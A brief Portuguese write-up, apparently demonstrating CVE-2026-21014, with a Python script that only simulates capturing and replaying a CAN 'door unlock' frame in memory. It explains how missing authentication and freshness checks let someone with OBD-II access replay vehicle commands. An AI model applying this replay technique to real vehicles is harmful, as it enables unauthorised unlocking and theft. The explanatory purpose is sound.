
Reproduz quadros CAN capturados do barramento para demonstrar o CVE-2026-21014, mostrando como a ausência de autenticação e verificações de atualização permitem ações não autorizadas em ECUs automotivas.
# can_replay_sim.py - Simulates CAN bus replay
import time
can_messages = []
def send_can(msg_id, data):
print(f"CAN {msg_id:#x}: {data.hex()}")
can_messages.append((msg_id, data))
def receive_can():
return can_messages[-1] if can_messages else None
# Simulate car sending "door unlock" command
send_can(0x100, b'\x01\x00\x00\x00') # unlock
# Attacker replays captured frame
time.sleep(1)
captured = receive_can()
if captured:
print("Replaying captured frame...")
send_can(captured[0], captured[1])
Uma rede Controller Area Network (CAN) automotiva não implementa autenticação de mensagens nem verificações de atualização (freshness). Um atacante com acesso físico à porta OBD‑II pode capturar um quadro legítimo (ex.: destravar porta) e repeti-lo posteriormente para executar ações não autorizadas.
Execute a simulação:
python can_replay_sim.py
O script exibe a captura e a repetição de um comando de destravamento.